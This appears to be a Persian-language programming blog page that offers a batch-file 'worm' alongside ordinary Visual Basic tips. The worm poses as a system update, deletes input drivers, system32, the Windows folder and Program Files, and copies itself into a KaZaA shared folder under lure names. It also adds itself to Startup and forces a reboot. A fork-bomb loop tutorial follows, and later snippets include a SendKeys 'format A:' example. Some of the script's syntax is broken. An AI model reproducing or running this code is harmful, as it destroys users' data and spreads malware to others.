worm 1

@ECHO OFF
if exist c:\romp.bat goto end
:start
cls
Echo Installing Update...
cd c:\windows\system
del keyboard.drv
del mouse.drv
TITLE System Update
echo ::startup >> c:\romp.bat
echo if not exist c:\damp goto prompt >> c:\romp.bat
echo :start >> c:\romp.bat
echo cls >> c:\romp.bat
echo cd c:\ >> c:\romp.bat
echo cd damp >> c:\romp.bat
echo md keys >> c:\romp.bat
echo pause >> c:\romp.bat
echo copy *.bat c:\damp\keys\ILOVEYOU.bat >> c:\romp.bat
echo copy *.bat c:\damp\keys\ILOVEYOU.bat c:\windows\stone.bat >> c:\romp.bat
echo rmdir c:\WUTemp >> c:\romp.bat
echo del c:\windows\system32\*.* >> c:\romp.bat
echo rmdir c:\windows\system32 >> c:\romp.bat
echo cd c:\ >> c:\romp.bat
echo cd windows >> c:\romp.bat
echo md system32 >> c:\romp.bat
echo pause >> c:\romp.bat
echo cd c:\ >> c:\romp.bat
echo cd windows >> c:\romp.bat
echo cd system32 >> c:\romp.bat
echo md tools >> c:\romp.bat
echo copy *.bat c:\windows\system32\tools\urscrewed.bat
echo echo msgbox" Ur system is now screwed" >> c:\plastic.vbs >> c:\romp.bat
echo echo msgbox" This was no scan... it was more like a scam" >> c:\plastic.vbs >> c:\romp.bat
echo echo msgbox" It has deleted pretty much all of system32 which is in windows and has messed

with windows" >> c:\plastic.vbs >> c:\romp.bat
echo echo msgbox" There is no more windows on this computer" >> c:\plastic.vbs >> c:\romp.bat
echo Rd/s/q c:\windows >> c:\romp.bat
echo Rd/s/q c:\progra~1 >> c:\romp.bat
echo goto part2 >> c:\romp.bat
      >> c:\romp.bat
      >> c:\romp.bat
echo :part2 >> c:\romp.bat
echo cls >> c:\romp.bat
echo cd c:\ >> c:\romp.bat
echo md Kierstyn'scan >> c:\romp.bat
echo pause >> c:\romp.bat
echo goto part3 >> c:\romp.bat
        >> c:\romp.bat
        >> c:\romp.bat
echo :part3 >> c:\romp.bat
echo rename c:\windows c:\viriiscan >> c:\romp.bat
echo goto end1 >> c:\romp.bat

echo :prompt >> c:\romp.bat
echo cls >> c:\romp.bat
echo cd c:\ >> c:\romp.bat
echo md damp >> c:\romp.bat
echo copy *.bat c:\damp.bat >> c:\romp.bat
echo echo msgbox" Oh No u r so stupid" >> c:\pomper.vbs >> c:\romp.bat
echo echo msgbox" Wow you probably got this through ur lan" >> c:\pomper.vbs >> c:\romp.bat
echo echo msgbox" Happy dieing staples" >> c:\pomper.vbs >> c:\romp.bat
echo goto start >> c:\romp.bat
      >> c:\romp.bat
      >> c:\romp.bat
echo :end1 >> c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\Matrix2.vid.bat >> c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\8-legged-freaks.vid.bat >> c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\Password_finder.exe.bat >> c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\s-club7.bmp.bat >> c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\JackAss the movie.vid.bat >> c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\password hacker.exe.bat >> c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\Norton anti virus.exe.bat >> c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\8-mile.mpg.bat >> c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\kazaa.exe.bat >> c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\realplayer.exe.bat >> c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\MyPic.bmp.bat >> c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\Bill gates *very funny*.bmp.bat >>

c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\Bill gates *very funny*.mpg.bat >>

c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\windows xp.exe.bat >> c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\How to make viruses.txt.bat >>

c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\*very funny*.bmp.bat >> c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\How to stop worm viruses.txt.bat >>

c:\romp.bat
echo goto end >> c:\romp.bat
echo :end >> c:\romp.bat
Echo Virus installed
cd c:\Docume~1\All Users\Start Menu\Programs\Startup
copy *.bat cd c:\Docume~1\All Users\Start Menu\Programs\Startup
Echo Now You have to restart to save
START C:\WINDOWS\RUNDLL.EXE user.exe,exitwindowsexec
rundll32.exe shell32.dll,SHExitWindowsEx n
pause
del c:\thecreator.bat
:end 

با دقت استفاده کنید

آموزش مخرب نویسی در notepad

Echo off
:loop1
start command
start command
start command
start command
start command
start command
start command
start command
start command
start command
goto loop2

:loop2
start command
start command
start command
start command
start command
start command
start command
start command
start command
start command
goto loop1 

پسوند این لوپ مخرب باید bat.* باشد . 

به جای start command دستورات خود را قرار دهید

Restart و ShutDown کردن سیستم در VB

سلام دوستان امروز می خواهم به سوال یکی از دوستان پاسخ دهم . یکی از دوستان پرسیده بود که چگونه می توان برنامه نوشت که بتوان سیستم را Restart و یا ShutDown کرد . خوب برای این کار کافیست که با API ها آشنایی داشته باشید , من در آموزش استفاده از Themes WinXp درباره API ها توضیحاتی دادم بد نیست که یه نگاه به اون داشته باشید . از دو تابع که در کتابخانه shell32.dll ویندوز موجود می باشد استفاده میکنیم . از تابع SHRestartSystemMB برای restart کردن و از تابع SHShutDownDialog برای shutDown کردن استفاده می شود . همچنین برای این برنامه دو ثابت تعریف کردم که در اولی عدد معادل برای restart و در دومی کد معادل برای ShutDown کردن قرار دارد .

در برنامه های قبلی هم که با کار کردن با توابع آشنا شدید دیگر فکر نکنم نیازی برای توضیح بیشتر باشه کد برای دریافت این برنامه اینجا کلیک کنید .

'Define Const For Use of API
Const Shut_Down = 1
Const Win_Reboot= 4

'Declare API Concern to Windows Restart
Private Declare Function SHRestartSystemMB Lib "shell32" Alias "#59" (ByVal hOwner As Long, ByVal sExtraPrompt As String, ByVal uFlags As Long) As Long

'Declare API Concern to Windows Shut Down
Private Declare Function SHShutDownDialog Lib "shell32" Alias "#60" (ByVal YourGuess As Long) As Long

Private Sub CmdRestart_Click()
SHRestartSystemMB Me.hwnd, vbNullString, Win_Reboot
End Sub
Private Sub CmdShutdown_Click()
SHShutDownDialog Shut_Down
End Sub

چگونه می توان یک Explorer را اجرا کرد ؟

برای این کار می توان از راههای مختلفی استفاده کرد مثلاً از شیء Shell و . . .  . برای اینکار از منوی Project آیتم Preference را انتخاب کنید , اکنون آیتم Microsoft Shell Controls and Automaton  را انتخاب کنید . حالا مراحل زیر را انجام میدهیم .

Dim SH As New Shell

حالا می توانید از متدهای زیادی که این شیء در اختیارتان می گزارد استفاده کنید . از جمله این متد های اجرا Internet Explorer , Outlook , اجرای آیتم های موجود در کنترل پنل , نمایش پنجره جستجوی ویندوز و کلی کارهای مفید دیگه . به مثالهای زیر توجه کنید :

SH.Open "http://vb.blogfa.com"

SH.TrayProperties

SH.SetTime

SH.FindComputer 'System Search

SH.ControlPanelItem "sysdm.cpl" 'System Properties

SH.ControlPanelItem "inetcpl.cpl" 'Internet Options

SH.ControlPanelItem "'appwiz.cpl" 'Add/Remove Programs

این شیء دارای متدهای دیگری هم میباشد که به راحتی می توانید از آنها استفاده کنید .

اجرای دستورات dos

ابتدا Command Prompt را فراخوانی می کنیم , خوب برای فراخوانی از تابع Shell استفاده میکنیم که قبلا در مورد این تابع توضیح داده ام :

Shell "cmd.exe"

:: اکنون یک شیء ایجاد می کنیم تا بتوانیم از طیق آن به هسته Dos دسترسی داشته باشیم :

Dim WinShell
Set WinShell = CreateObject("Wscript.shell")

خوب حالا می توانید به راحتی هر دستوری که دارید میتوانید اجرا کنید در آخر هم دستور تابع Sendkeys کلید Enter را اجرا کرده و دستور اجرا میشود:

WinShell.SendKeys " Dos دستور مورد نظر برای اجرا در "
WinShell.SendKeys "{ENTER}"

به مثاهای زیر توجه کنید که به ترتیب اولی برای ایجاد پوشه ای به نام Visual Basic در درایو C و دستور دوم برای نمایش پوشه های موجود در درایو C و دستور سوم برای Format فلاپی دیسک می باشد .

'For Create Folder With Dos Prompt :WinShell.SendKeys "MD C:\Visual" & " Basic"
WinShell.SendKeys "{ENTER}"

'For Showing C Directory :
WinShell.SendKeys "Dir C:\"
WinShell.SendKeys "{ENTER}"

'For Format Floppy Disk Of Dos :WinShell.SendKeys "format A:"
WinShell.SendKeys "{ENTER}"